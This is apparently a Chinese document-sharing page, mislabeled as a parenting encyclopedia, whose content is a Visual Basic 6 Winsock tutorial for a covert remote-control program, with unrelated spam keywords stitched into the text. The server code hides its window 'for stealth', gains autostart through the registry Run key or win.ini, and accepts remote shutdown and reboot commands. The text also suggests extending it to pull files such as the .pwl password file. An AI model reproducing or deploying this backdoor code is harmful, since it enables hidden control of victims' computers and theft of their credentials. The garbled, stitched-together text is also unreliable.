首页 育儿大全

育儿大全

举报
开通vip

育儿大全育儿大全 育儿知识大全 ----------------------------------------------------------- -------------- LocalHostName | 本地机器名 LocalIP | 本地机器IP地址 LocalPort | 本地机器通信程序的端口(0<端口<65536) RemoteHost | 远程机器名 RemotePort | 远程机器的通信程序端口 state | 连接的当前状态(文后有详细说明) Protocal | 使用TCP或U...

育儿大全
育儿大全 育儿知识大全 ----------------------------------------------------------- -------------- LocalHostName | 本地机器名 LocalIP | 本地机器IP地址 LocalPort | 本地机器通信程序的端口(0<端口<65536) RemoteHost | 远程机器名 RemotePort | 远程机器的通信程序端口 state | 连接的当前状态(文后有详细说明) Protocal | 使用TCP或UDP 协议 离婚协议模板下载合伙人协议 下载渠道分销协议免费下载敬业协议下载授课协议下载 (这里我们选 ‘0-sckTCPProtocal’) ----------------------------------------------------------- --------------- * 方法 快递客服问题件处理详细方法山木方法pdf计算方法pdf华与华方法下载八字理论方法下载 ----------------------------------------------------------- --------------- Listen Listen方法用于服务器程序,等待客户访问。 格式:Winsock对象.listen Connect Connect方法用于向远程主机发出连接请求 格式:Winsock对象.connect [远程主机IP,远程端口] Accept Accept方法用于接受一个连接请求 格式:Winsock对象.accept Request ID Senddata 此方法用于发送数据 格? Winsock对象.senddata 数据 Getdata 用来取得接收到的数据 格式:Winsock对象.getdata 变量 [,数据类型 [,最大长度]] Close 关闭当前连接 格式:Winsock对象.close *事件 ----------------------------------------------------------- ----------------- Close | 远程机器关闭连接时触发 Connect | 连接建立好,可以进行通信时触发(客户端) ConnectRequest | 有请求连接到达时产生(服务器端) DataArrival | 有数据到达时触发 Error | 发生错误时发生 SendProgress | 数据传送进度 ----------------------------------------------------------- ------------------ 程序代码如下: --》服务器端程序(server.exe) 先在窗体中放置Winsock控件(他在运行时是看不见的),属性采用默认值,再设置Form1的 属性ShowInTaskBar为False,Visible为False(这样才有隐蔽性嘛). 对于程序的自启动可 手工在注册 关于同志近三年现实表现材料材料类招标技术评分表图表与交易pdf视力表打印pdf用图表说话 pdf “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersi on\Run” 中增加键值"winserver"="c:\\windows\\server.exe"或配置文件Win.ini的Load,run写入 "C:\windows\server.exe"来达到目的。当然也可通过在VB5中调用API函数来实现对注册表 的写入,这就更方便了,不过由于实现过程较复杂,就不在这里说了. Private Sub Form_Load() On Error GoTo skip 如此端口已有通信程序则退出 Winsock1.LocalPort = 1334 端口值应大于1024,如还有冲突可改为其他值 Winsock1.Listen Exit Sub skip: If Err.Number = 10048 Then MsgBox "端口冲突,退出~", vbOKOnly, "注意~" End End If End Sub Private Sub Winsock1_Close() If Winsock1.State <> sckClosed Then Winsock1.Close Winsock1.Listen 关闭连接后继续监听 End Sub Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long) If Winsock1.State <> sckClosed Then Winsock1.Close Winsock1.Accept requestID 请求到达时,接受连接 End Sub Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Dim strget As String Dim ccom As String Winsock1.GetData strget 读取到达的数据 Select Case strget Case "a" 判断到达的数据是否‘a’,是则重启,你也可自己定义(协议就是这样产生的) ccom = curr_win() + "\RUNDLL.EXE user.exe,exitwindowsexec" 不同机器设置不一样 Call Shell(ccom, vbHide) 由函数curr_win()来判断 Case "b" 如为‘b’则关闭计算机 ccom = curr_win() + "\RUNDLL.EXE user.exe,exitwindows" Call Shell(ccom, vbHide) 函数shell来执行命令 Case Else 可以在此加入其他命令 End Select End Sub Function curr_win() As String Dim i As Integer Dim enstr As String i = 1 此函数通过读取环境变量来获得Windows目录 enstr = Environ(i) Do While enstr <> "" If Len(enstr) > 11 Then If Left(enstr, 11) = "winbootdir=" Then curr_win = Right(enstr, Len(enstr) - 11) Exit Do End If End If i = i + 1 enstr = Environ(i) Loop End Function Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean) MsgBox "错误", vbOKOnly, "注意~" 如程序出现错误,则简单的退 出 End End Sub --》客户端程序(Client.exe) 程序界面如图[control.jpg] 防入四个命令按钮,一个标题框,一个Winsock控件,其属性设置如下: ----------------------------------------------------------- -------------- - 控件名 | 控件类 | 属性 | 属性值 ----------------------------------------------------------- ----------------- closewin_but | commandbutton | caption | 远程关闭 startwin_but | commandbutton | caption | 远程重启 connect_but | commandbutton | caption | 连接 exit_but | commandbutton | caption | 退出 state_lab | label | borderstyle | 1 ----------------------------------------------------------- ------------------ 代码如下: Private Sub Form_Load() Winsock1.LocalPort = 22226 本地端口可任选,只要不冲突且小于65535,用 netstat -an命令可查看当前通信进程 Winsock1.RemoteHost = "127.0.0.1" 调试时此IP将对本机操作,实际应用时可 换上被控方IP Winsock1.RemotePort = 1334 对应服务器端的localport state_lab = "未建立连接." End Sub Private Sub closewin_but_Click() If Winsock1.State <> sckConnected Then state_lab = "请先建立连接" Else Winsock1.SendData "b" 发出关闭命令 End If End Sub Private Sub startwin_but_Click() If Winsock1.State <> sckConnected Then state_lab = "请先建立连接" Else Winsock1.SendData "a" 发出重启命令 End If End Sub Private Sub connect_but_Click() On Error GoTo skip If Winsock1.State = sckConnected Then state_lab = "已建立连接了" Else Winsock1.Connect End If Exit Sub skip: 用netstat命令看到状态为Time_wait则 If Err.Number = 10048 Then 须等待一段时间才可连接,也可换另一 端口,可加快连接速度 MsgBox "端口正在使用,请稍后再试~", vbOKOnly, "注意~" End End If End Sub Private Sub exit_but_Click() Winsock1.Close 关闭连接且退出 End End Sub Private Sub Winsock1_Connect() state_lab = "建立连接成功~可发送命令." End Sub Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean) MsgBox "错误", vbOKOnly, "注意~" End End Sub 通过上面的例子,我们大概了解了远程控制的原理,对于其他功能的 实现应该不难了。如 文件的下载,可先让客户程序发一命令字串cc:\windows\lzh.pwl,服务器接收到命令字 串后判断出首字母c为下载命令,则将所指定的命令文件 c:\windows\lzh.pwl传送给客户 端,完成相应的服务。需要注意的是,此程序只能建立一个连接,如 要建立多个连接可通过 在服务器端产生多个Winsock实例来接受请求. *****测试环境: Window98,MicroSoft Visual Basic 6.0企业版 附:属性state值 常数 值 描述 sckClosed 0 关闭状态 sckOpen 1 打开状态 sckListening 2 侦听状态 sckConnectionPending 3 连接挂起 sckResolvingHost 4 解析域名 sckHostResolved 5 已识别主机 sckConnecting 6 正在连接 sckConnected 7 已连接 sckClosing 8 同级人员正在关闭连接 sckError 9
本文档为【育儿大全】,请使用软件OFFICE或WPS软件打开。作品中的文字与图均可以修改和编辑, 图片更改请在作品中右键图片并更换,文字修改请直接点击文字进行修改,也可以新增和删除文档中的内容。
该文档来自用户分享,如有侵权行为请发邮件ishare@vip.sina.com联系网站客服,我们会及时删除。
[版权声明] 本站所有资料为用户分享产生,若发现您的权利被侵害,请联系客服邮件isharekefu@iask.cn,我们尽快处理。
本作品所展示的图片、画像、字体、音乐的版权可能需版权方额外授权,请谨慎使用。
网站提供的党政主题相关内容(国旗、国徽、党徽..)目的在于配合国家政策宣传,仅限个人学习分享使用,禁止用于任何广告和商用目的。
下载需要: 免费 已有0 人下载
最新资料
资料动态
专题动态
is_682974
暂无简介~
格式:doc
大小:26KB
软件:Word
页数:0
分类:
上传时间:2018-08-15
浏览量:1